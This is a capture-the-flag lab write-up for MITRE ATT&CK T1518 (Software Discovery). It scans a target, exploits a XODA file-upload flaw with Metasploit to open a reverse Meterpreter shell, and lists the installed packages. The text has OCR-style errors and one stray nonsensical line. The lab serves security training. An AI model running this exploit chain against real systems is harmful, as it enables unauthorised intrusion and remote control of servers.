Name	T1518 : Software Discovery	
URL	https://attackdefense.com/challengedetails?cid=1862	
Туре	MITRE ATT&CK Linux : Discovery	

**Important Note:** This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

**Objective:** Identify the softwares installed on the system

## Solution:

**Step 1:** Check the IP address of the attacker machine.

Commands: ip addr

```
root@attackdefense:~# ip addr
1: lo: <L00PBACK,UP,L0WER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever

19160: eth0@if19161: <BROADCAST,MULTICAST,UP,L0WER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:0a:01:01:06 brd ff:ff:ff:ff:ff link-netnsid 0
    inet 10.1.1.6/24 brd 10.1.1.255 scope global eth0
        valid_lft forever preferred_lft forever

19164: eth1@if19165: <BROADCAST,MULTICAST,UP,L0WER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:c0:72:23:02 brd ff:ff:ff:ff:ff link-netnsid 0
    inet 192.114.35.2/24 brd 192.114.35.255 scope global eth1
        valid_lft forever preferred_lft forever
root@attackdefense:~#
```

**Step 2:** Run Nmap scan on the target machine.

**Command:** nmap 192.114.35.3

```
root@attackdefense:~# nmap 192.114.35.3
Starting Nmap 7.70 ( https://nmap.org ) at 2020-04-20 17:54 UTC
Nmap scan report for target-1 (192.114.35.3)
Host is up (0.000015s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 02:42:C0:72:23:03 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds
root@attackdefense:~#
```

**Step 3:** Check the HTTP content hosted on port 80 of the target machine.

Command: curl 192.114.35.3

As mentioned in the challenge, a XODA webapp instance is running on the system which can be exploited using "exploit/unix/webapp/xoda file upload" metasploit module

**Step 4:** Start msfconsole.

Command: msfconsole

**Step 5:** Select the mentioned module and set the parameter values.

### Commands:

use exploit/unix/webapp/xoda\_file\_upload set RHOSTS 192.114.35.3 set TARGETURI / exploit

```
msf5 > use exploit/unix/webapp/xoda_file_upload
msf5 exploit(unix/webapp/xoda_file_upload) > set RHOSTS 192.114.35.3
RHOSTS => 192.114.35.3
msf5 exploit(unix/webapp/xoda_file_upload) > set TARGETURI /
TARGETURI => /
msf5 exploit(unix/webapp/xoda_file_upload) > exploit

[*] Started reverse TCP handler on 192.114.35.2:4444
[*] Sending PHP payload (nFQlyHMMLDpets.php)
[*] Executing PHP payload (nFQlyHMMLDpets.php)
[*] Sending stage (38247 bytes) to 192.114.35.3
[*] Meterpreter session 1 opened (192.114.35.2:4444 -> 192.114.35.3:45398) at 2020-04-20 18:02:07 +0000
[!] Deleting nFQlyHMMLDpets.php
meterpreter >
```

A meterpreter session is spawned on the target machine.

**Step 6:** Start a command shell and check the present working directory.

# **Commands:**

shell pwd whoami



meterpreter >
meterpreter > shell
Process 890 created.
Channel 0 created.
pwd
/app/files
whoami
www-data

Step 7: Run the command "dpkg -l" to list all the packages installed on the target machine.

Command: dpkg -l

/ Err?=(none)/Reinst-require  / Name +	Version	Architecture	Description
 ======= i adduser	3.113+nmu3ubuntu3	all	add and remove users and groups
i apache2	2.4.7-1ubuntu4.22	amd64	Apache HTTP Server
i apache2-bin	2.4.7-1ubuntu4.22	amd64	Apache HTTP Server (binary files and modules)
i apache2-data	2.4.7-1ubuntu4.22	all	Apache HTTP Server (common files)
i apt	1.0.1ubuntu2.24	amd64	commandline package manager
i apt-transport-https	1.0.1ubuntu2.24	amd64	https download transport for APT
i apt-utils	1.0.1ubuntu2.24	amd64	package management related utility programs
i base-files	7.2ubuntu5.6	amd64	Debian base system miscellaneous files
i base-passwd	3.5.33	amd64	Debian base system master password and group files
i bash	4.3-7ubuntu1.7	amd64	GNU Bourne Again SHell
i bsdutils	1:2.20.1-5.1ubuntu20.9	amd64	Basic utilities from 4.4BSD-Lite
i busybox-initramfs	1:1.21.0-1ubuntu1.4	amd64	Standalone shell setup for initramfs
i bzip2	1.0.6-5	amd64	high-quality block-sorting file compressor - utilities
i ca-certificates	20170717~14.04.2	all	Common CA certificates
i console-setup	1.70ubuntu8	all	console font and keymap setup program
i coreutils	8.21-1ubuntu5.4	amd64	GNU core utilities
i cpio	2.11+dfsg-1ubuntu1.2	amd64	GNU cpio a program to manage archives of files
i cron	3.0pl1-124ubuntu2	amd64	process scheduling daemon
i dash	0.5.7-4ubuntu1	amd64	POSIX-compliant shell
i debconf	1.5.51ubuntu2	all	Debian configuration management system
i debconf-i18n	1.5.51ubuntu2	all	full internationalization support for debconf
i debianutils	4.4	amd64	Miscellaneous utilities specific to Debian
i dh-python	1.20140128-1ubuntu8.2	all	Debian helper tools for packaging Python libraries and ap
lications			
i diffutils	1:3.3-1	amd64	File comparison utilities
i dmsetup	2:1.02.77-6ubuntu2	amd64	Linux Kernel Device Mapper userspace library
i dpkg	1.17.5ubuntu5.8	amd64	Debian package management system
i e2fslibs:amd64	1.42.9-3ubuntu1.3	amd64	ext2/ext3/ext4 file system libraries
i e2fsprogs	1.42.9-3ubuntu1.3	amd64	ext2/ext3/ext4 file system utilities
i eject	2.1.5+deb1+cvs20081104-13.1ubuntu0.14.04.1	amd64	ejects CDs and operates CD-Changers under Linux
i file	1:5.14-2ubuntu3.4	amd64	Determines file type using "magic" numbers

Upon running the command "dpkg -I", all the packages installed on the target machine was listed.

# To John Die John Die

# References:

1. Software Discovery (<a href="https://attack.mitre.org/techniques/T1518/">https://attack.mitre.org/techniques/T1518/</a>)